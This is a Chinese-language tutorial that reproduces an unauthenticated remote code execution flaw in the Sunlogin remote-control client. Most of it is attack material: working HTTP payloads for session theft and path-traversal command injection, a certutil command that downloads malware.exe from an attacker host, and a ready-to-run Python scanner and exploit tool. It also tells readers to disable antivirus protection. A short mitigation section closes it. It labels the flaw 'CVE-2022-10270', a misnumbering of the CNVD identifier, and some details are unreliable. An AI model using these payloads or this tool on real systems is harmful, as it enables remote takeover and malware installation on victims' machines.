从零到一:实战复现向日葵RCE漏洞CVE-2022-10270
1. 漏洞背景与影响范围
向日葵远程控制软件作为国内用户量最大的远程办公工具之一,其安全性直接关系到数百万企业和个人用户的数据安全。2022年曝光的CVE-2022-10270漏洞是一个典型的未授权远程代码执行(RCE)漏洞,攻击者无需任何认证即可通过特定网络请求在目标主机上执行任意命令。我在实际渗透测试中发现,该漏洞利用链清晰稳定,甚至可以被集成到自动化攻击工具中。
受影响的版本主要包含两个分支:
- 向日葵个人版Windows客户端11.0.0.33及以下版本
- 向日葵简约版v1.0.1.43315及以下版本
这个漏洞的特殊之处在于,它同时存在于软件的多个功能模块中。当向日葵客户端运行时,会主动开放40000-60000之间的随机高位端口,这些端口上的Web服务接口存在命令注入缺陷。我曾在客户内网测试时发现,即使没有公网IP的设备,只要安装了存在漏洞的客户端,同一局域网内的攻击者就能完全控制目标机器。
2. 漏洞原理深度解析
漏洞的核心问题出在向日葵客户端对HTTP请求参数的处理逻辑上。通过逆向分析sunloginclient.exe,我发现软件在/cgi-bin/rpc和/check等接口的实现中存在三处致命缺陷:
第一处是身份验证绕过。在sub_140E1C954函数中,攻击者可以通过精心构造的HTTP请求头绕过session验证。我测试时用Burp Suite发送以下请求就能获取有效会话:
GET /cgi-bin/rpc?action=verify-haras HTTP/1.1 Host: target_ip:port第二处是命令注入点。在/check接口中,当cmd参数以ping或nslookup开头时,后续内容会直接传递给system()函数执行。更危险的是,攻击者可以通过路径穿越符(../)访问系统任意路径。例如这个payload就能执行系统命令:
GET /check?cmd=ping../../../windows/system32/cmd.exe /c whoami HTTP/1.1第三处是端口暴露问题。向日葵客户端启动时会随机开启40000+的高位端口,但未做任何访问控制。我写了个简单的Python脚本测试,发现在同一网络下,任何用户都能与这些端口建立连接。
3. 实验环境搭建指南
为了安全复现这个漏洞,建议在虚拟机环境中进行测试。我通常使用以下配置:
- 靶机:Windows 10 专业版(关闭防火墙)
- 攻击机:Kali Linux 2023或Windows 10 + Python 3.8
- 漏洞版本:SunloginClient_11.0.0.33162_X64.exe
安装向日葵客户端时有几个关键点需要注意:
- 安装过程中要勾选"开机自动启动"选项
- 安装完成后不要登录向日葵账号
- 在设置中关闭双重认证等安全选项
实测发现,某些杀毒软件会拦截漏洞利用请求。我在测试时遇到过360安全卫士自动阻断端口扫描的情况,临时关闭实时防护才能继续。建议在控制面板中提前添加以下目录到杀软白名单:
C:\Program Files\Oray\SunLogin\SunloginClient C:\Program Files (x86)\Oray\SunLogin\SunloginClient4. 手动复现全流程
4.1 端口探测阶段
首先需要找到向日葵开放的随机端口。虽然官方文档说端口在40000-60000之间,但实测中我遇到过的案例都集中在50000-55000。推荐使用这个nmap命令:
nmap -p 50000-55000 -T4 --open target_ip如果看到类似这样的响应,就可能是漏洞端口:
PORT STATE SERVICE 54321/tcp open unknown4.2 漏洞验证阶段
发现可疑端口后,用浏览器访问以下URL验证漏洞是否存在:
http://target_ip:port/cgi-bin/rpc?action=verify-haras如果返回包含"verification failure",则证明存在漏洞。
4.3 会话获取阶段
通过以下请求获取有效会话CID:
GET /cgi-bin/rpc?action=verify-haras HTTP/1.1 Host: target_ip:port保存响应中的CID值,例如:
{"success":true,"data":{"cid":"HbRTVJwZL3"}}4.4 命令执行阶段
构造命令执行请求时需要注意Windows路径的特殊处理。这里分享几个实测可用的payload:
查看当前用户:
GET /check?cmd=ping..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2Fcmd.exe /c whoami HTTP/1.1 Host: target_ip:port Cookie: CID=HbRTVJwZL3下载远程文件:
GET /check?cmd=ping..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2Fcertutil.exe -urlcache -split -f http://attacker_ip/malware.exe C:\temp\malware.exe HTTP/1.15. 自动化利用脚本开发
基于手动复现的经验,我开发了一个自动化利用工具,主要包含以下功能模块:
import requests import argparse def port_scan(target_ip, start_port, end_port): for port in range(start_port, end_port+1): try: r = requests.get(f"http://{target_ip}:{port}/cgi-bin/rpc?action=verify-haras", timeout=3) if "verification failure" in r.text: return port except: continue return None def exploit(target_ip, port, command): session = requests.Session() # 获取CID r = session.get(f"http://{target_ip}:{port}/cgi-bin/rpc?action=verify-haras") cid = r.json().get("data", {}).get("cid", "") # 执行命令 payload = f"ping../../../windows/system32/cmd.exe /c {command}" r = session.get(f"http://{target_ip}:{port}/check?cmd={payload}", headers={"Cookie": f"CID={cid}"}) return r.text使用示例:
# 端口扫描 python sunflower_rce.py --scan 192.168.1.100 # 命令执行 python sunflower_rce.py --target 192.168.1.100:54321 --cmd "net user"6. 防御与修复方案
对于仍在使用受影响版本的用户,我建议立即采取以下措施:
- 升级到向日葵最新版本(目前安全版本是11.1及以上)
- 在防火墙中限制40000-60000端口的入站连接
- 修改客户端安装目录的访问权限,禁止非管理员用户写入
在企业环境中,可以通过组策略批量部署以下注册表项来缓解风险:
Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Oray\Sunlogin] "DisableRemoteControl"=dword:00000001 "DisableAutoStart"=dword:00000001我在给客户做安全加固时发现,即使升级了客户端版本,残留的配置文件仍可能包含敏感信息。建议在卸载旧版本后,手动删除以下目录:
C:\ProgramData\Oray\SunloginClient C:\Users\<username>\AppData\Roaming\Oray\Sunlogin